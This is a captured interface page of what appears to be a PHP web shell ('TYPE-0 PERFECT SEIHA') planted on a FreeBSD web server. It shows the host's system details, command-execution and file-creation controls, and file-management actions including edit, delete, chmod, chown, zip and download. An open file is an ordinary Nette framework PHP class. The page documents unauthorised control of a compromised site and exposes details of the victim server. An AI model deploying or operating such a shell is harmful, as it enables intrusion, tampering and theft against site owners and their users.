TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Application
UI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Application/UI/PresenterComponentReflection.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Application\UI; use Nette, Nette\Application\BadRequestException; /** * Helpers for Presenter & PresenterComponent. * * @author David Grudl * @internal */ class PresenterComponentReflection extends Nette\Reflection\ClassType { /** @var array getPersistentParams cache */ private static $ppCache = array(); /** @var array getPersistentComponents cache */ private static $pcCache = array(); /** @var array isMethodCallable cache */ private static $mcCache = array(); /** * @param string|NULL * @return array of persistent parameters. */ public function getPersistentParams($class = NULL) { $class = $class === NULL ? $this->getName() : $class; // TODO $params = & self::$ppCache[$class]; if ($params !== NULL) { return $params; } $params = array(); if (is_subclass_of($class, 'Nette\Application\UI\PresenterComponent')) { $defaults = get_class_vars($class); foreach ($class::getPersistentParams()as $name => $meta) { if (is_string($meta)) { $name = $meta; } $params[$name] = array( 'def' => $defaults[$name], 'since' => $class, ); } foreach ($this->getPersistentParams(get_parent_class($class)) as $name => $param) { if (isset($params[$name])) { $params[$name]['since'] = $param['since']; continue; } $params[$name] = $param; } } return $params; } /** * @param string|NULL * @return array of persistent components. */ public function getPersistentComponents($class = NULL) { $class = $class === NULL ? $this->getName() : $class; $components = & self::$pcCache[$class]; if ($components !== NULL) { return $components; } $components = array(); if (is_subclass_of($class, 'Nette\Application\UI\Presenter')) { foreach ($class::getPersistentComponents()as $name => $meta) { if (is_string($meta)) { $name = $meta; } $components[$name] = array('since' => $class); } $components = $this->getPersistentComponents(get_parent_class($class)) + $components; } return $components; } /** * Is a method callable? It means class is instantiable and method has * public visibility, is non-static and non-abstract. * @param string method name * @return bool */ public function hasCallableMethod($method) { $class = $this->getName(); $cache = & self::$mcCache[strtolower($class . ':' . $method)]; if ($cache === NULL) try { $cache = FALSE; $rm = Nette\Reflection\Method::from($class, $method); $cache = $this->isInstantiable() && $rm->isPublic() && !$rm->isAbstract() && !$rm->isStatic(); } catch (\ReflectionException $e) { } return $cache; } /** * @return array */ public static function combineArgs(\ReflectionFunctionAbstract $method, $args) { $res = array(); $i = 0; foreach ($method->getParameters() as $param) { $name = $param->getName(); if (isset($args[$name])) { // NULLs are ignored $res[$i++] = $args[$name]; $type = $param->isArray() ? 'array' : ($param->isDefaultValueAvailable() && $param->isOptional() ? gettype($param->getDefaultValue()) : 'NULL'); if (!self::convertType($res[$i-1], $type)) { $mName = $method instanceof \ReflectionMethod ? $method->getDeclaringClass()->getName() . '::' . $method->getName() : $method->getName(); throw new BadRequestException("Invalid value for parameter '$name' in method $mName(), expected " . ($type === 'NULL' ? 'scalar' : $type) . "."); } } else { $res[$i++] = $param->isDefaultValueAvailable() && $param->isOptional() ? $param->getDefaultValue() : ($param->isArray() ? array() : NULL); } } return $res; } /** * Non data-loss type conversion. * @param mixed * @param string * @return bool */ public static function convertType(& $val, $type) { if ($val === NULL || is_object($val)) { // ignore } elseif ($type === 'array') { if (!is_array($val)) { return FALSE; } } elseif (!is_scalar($val)) { return FALSE; } elseif ($type !== 'NULL') { $old = $val = ($val === FALSE ? '0' : (string) $val); settype($val, $type); if ($old !== ($val === FALSE ? '0' : (string) $val)) { return FALSE; // data-loss occurs } } return TRUE; } }
Crotin
Name
Size
Permissions
Modified
User/Group
IRenderable.php
612
0644
2015-08-08 18:27:56
Unknown/Unknown
BadSignalException.php
504
0644
2015-08-08 18:27:57
Unknown/Unknown
InvalidLinkException.php
440
0644
2015-08-08 18:27:57
Unknown/Unknown
IStatePersistent.php
688
0644
2015-08-08 18:27:56
Unknown/Unknown
PresenterComponentReflection.php
4501
0644
2015-08-08 18:27:57
Unknown/Unknown
Multiplier.php
700
0644
2015-08-08 18:27:57
Unknown/Unknown
Presenter.php
34772
0644
2015-08-08 18:27:56
Unknown/Unknown
Link.php
1959
0644
2015-08-08 18:27:56
Unknown/Unknown
Control.php
5415
0644
2015-08-08 18:27:57
Unknown/Unknown
PresenterComponent.php
10805
0644
2015-08-08 18:27:57
Unknown/Unknown
Form.php
3117
0644
2015-08-08 18:27:57
Unknown/Unknown
ISignalReceiver.php
533
0644
2015-08-08 18:27:57
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin